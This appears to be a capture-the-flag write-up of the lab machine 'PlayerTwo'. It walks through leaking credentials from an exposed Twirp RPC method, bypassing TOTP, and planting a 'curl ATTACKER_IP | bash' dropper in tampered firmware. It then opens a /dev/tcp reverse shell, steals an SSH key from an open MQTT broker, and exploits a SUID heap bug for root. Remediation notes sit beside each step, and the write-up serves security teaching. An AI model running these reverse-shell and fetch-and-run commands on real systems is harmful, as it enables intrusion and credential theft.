PlayerTwo
Summary
I enumerated three exposed services on $TARGET (SSH on port 22, Apache on port 80, and a PHP Twirp RPC service on port 8545) and discovered two virtual hostnames: player2.htb and product.player2.htb. The Twirp RPC service exposed its own protobuf schema file (generated.proto) without authentication, and a GenCreds RPC method within it returned a username, password, and TOTP shared secret, fully defeating the two-factor-protected firmware management portal on product.player2.htb. After authenticating, I downloaded the reference Protobs firmware archive, located the embedded ELF at offset 0x40, and overwrote a code stub with a reverse-shell dropper: deliberately leaving the signature bytes the portal's integrity check examined untouched.
The tampered package passed all portal validation checks and was executed server-side, producing a web-service shell. From that foothold, a loopback MQTT broker on port 1883 was found to be publishing firmware-signing job data without requiring authentication; the payload on the signing topic included the SSH private key for the local user observer, which was captured and used to log in directly. Root access was then obtained by exploiting the non-PIE SUID binary /opt/Configuration_Utility/Protobs: a one-byte null-byte heap overflow on the Description field corrupted an adjacent chunk's size metadata, and a subsequent dereference of the stale (freed) Description pointer produced a use-after-free.
Chaining the two primitives against glibc 2.29 heap internals hijacked control flow inside the SUID process and spawned a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets (<elf_stub_offset>, <package>, <pass>, <user>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Identify service versions and HTTP titles on the three exposed ports.
$ nmap -Pn -sV -p 22,80,8545 --script http-title,http-headers $TARGETRegister both discovered virtual hostnames for name resolution.
$ echo "$TARGET player2.htb product.player2.htb" | sudo tee -a /etc/hostsConfirm the two virtual hosts and inspect the login/TOTP form on the product portal.
$ curl -sS -i http://player2.htb/ && curl -sS -i http://product.player2.htb/Probe the Twirp RPC service root to confirm it responds and note any route hints.
$ curl -sS -i http://player2.htb:8545/Exact commands 3
Download the protobuf schema; inspect it to identify the package name, service name, and GenCreds method signature.
$ curl -sS http://player2.htb:8545/generated.proto -o /tmp/generated.protoRead the schema to extract the exact Twirp route: /twirp/<package>.<Service>/GenCreds.
$ cat /tmp/generated.protoCall GenCreds with an empty request body. Replace <package>.<Service> with the values found in generated.proto. The response contains username, password, and totp_secret.
$ curl -sS -X POST -H 'Content-Type: application/json' -d '{}' http://player2.htb:8545/twirp/<package>.<Service>/GenCredsFixRemove the public-facing GenCreds RPC method and require authentication for the Twirp serviceCritical
Exact commands 4
Generate a current TOTP code from the secret returned by GenCreds; replace <TOTP_SECRET>.
$ python3 -c "import pyotp; print(pyotp.TOTP('<TOTP_SECRET>').now())"Submit credentials to the login form and persist the session cookie. Replace <user> and <pass> with GenCreds output.
$ curl -sS -c /tmp/player2.cookies -X POST -d 'username=<user>&password=<pass>' http://product.player2.htb/Submit the generated TOTP code to complete second-factor authentication.
$ curl -sS -b /tmp/player2.cookies -c /tmp/player2.cookies -X POST -d 'otp=<TOTP_CODE>' http://product.player2.htb/totpConfirm authenticated access and locate the firmware download and upload links.
$ curl -sS -b /tmp/player2.cookies http://product.player2.htb/homeExact commands 5
Download the reference firmware archive and the datasheet describing the signing layout.
$ curl -sS -b /tmp/player2.cookies -o /tmp/protobs_firmware_v1.0.tar http://product.player2.htb/protobs/protobs_firmware_v1.0.tar && curl -sS -b /tmp/player2.cookies -o /tmp/protobs.pdf http://product.player2.htb/protobs.pdfExtract the archive to inspect Protobs.bin, info.txt, and version.
$ mkdir /tmp/fw && tar xf /tmp/protobs_firmware_v1.0.tar -C /tmp/fw/Confirm the 0x40-byte firmware header prepended before the ELF magic bytes (7f 45 4c 46).
$ xxd /tmp/fw/Protobs.bin | head -20Overwrite the no-op stub at ELF body offset <elf_stub_offset> with the dropper; the script writes only within the stub region and leaves the file size and all signature bytes unchanged. Replace <elf_stub_offset> and $ATTACKER_IP.
$ python3 patch_protobs.py /tmp/fw/Protobs.bin <elf_stub_offset> 'bash -c "curl http://'"$ATTACKER_IP"':8081/x|bash"'Bump the version number and repackage using the original member filenames.
$ sed -i 's/FIRMWAREVERSION=1\.0/FIRMWAREVERSION=1.1/' /tmp/fw/version && tar cf /tmp/protobs_firmware_v1.1.tar -C /tmp/fw/ Protobs.bin info.txt versionFixSign the complete firmware package content, not just its headers, with a verifiable asymmetric signatureCritical
Exact commands 4
Host the reverse-shell drop script on my machine. Replace $ATTACKER_IP with your address reachable from the target.
$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/34444 0>&1" > /tmp/x && python3 -m http.server 8081Start the reverse-shell listener in a separate terminal on my machine.
$ ncat -lvnp 34444Upload the patched archive; when the portal reports 'All checks passed' it executes the binary, triggering the callback.
$ curl -sS -b /tmp/player2.cookies -F 'firmware=@/tmp/protobs_firmware_v1.1.tar;type=application/x-tar' -F 'submit=Upload' http://product.player2.htb/protobs/verifyIn the received shell: confirm execution context (www-data, uid 33, /var/www/product/protobs).
$ id; whoami; pwd
uid=33(www-data)Exact commands 2
From the www-data reverse shell: subscribe to all topics without credentials and watch for published messages.
$ mosquitto_sub -h 127.0.0.1 -p 1883 -t '#' -vCapture the first message on the signing topic (which contains the SSH private key) and save it with correct permissions.
$ mosquitto_sub -h 127.0.0.1 -p 1883 -t '$SYS/internal/firmware/signing' -C 1 > /tmp/observer_id_rsa && chmod 600 /tmp/observer_id_rsaFixRequire authentication on the MQTT broker and never publish secrets as message payloadsHigh
Exact commands 2
Authenticate as observer with the stolen key and read the user flag; value: <user.txt>.
$ ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 observer@$TARGET 'cat /home/observer/user.txt'Open an interactive observer session for post-exploitation and privilege-escalation work.
$ ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null observer@$TARGETExact commands 5
As observer: locate SUID binaries; /opt/Configuration_Utility/Protobs will appear in the output.
$ find / -perm -4000 -type f 2>/dev/nullConfirm non-PIE executable, SUID bit, NX state, and linked glibc version to inform exploit strategy.
$ file /opt/Configuration_Utility/Protobs && checksec --file=/opt/Configuration_Utility/ProtobsCopy the binary to my machine for offline disassembly (Ghidra / pwndbg) to locate the Description buffer size and identify the overflow offset and the stale-pointer dereference.
$ scp -i observer_id_rsa observer@$TARGET:/opt/Configuration_Utility/Protobs ./ProtobsExecute the compiled pwntools exploit: trigger the one-byte null-byte overflow on the Description field, then trigger the use-after-free on the stale pointer to corrupt glibc 2.29 heap metadata and redirect execution to a root shell.
$ python3 exploit_protobs.pyRead the root flag from the spawned root shell; value: <root.txt>.
$ cat /root/root.txtFixFix the heap memory-corruption bugs in Protobs and reduce the binary's runtime privilegeCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.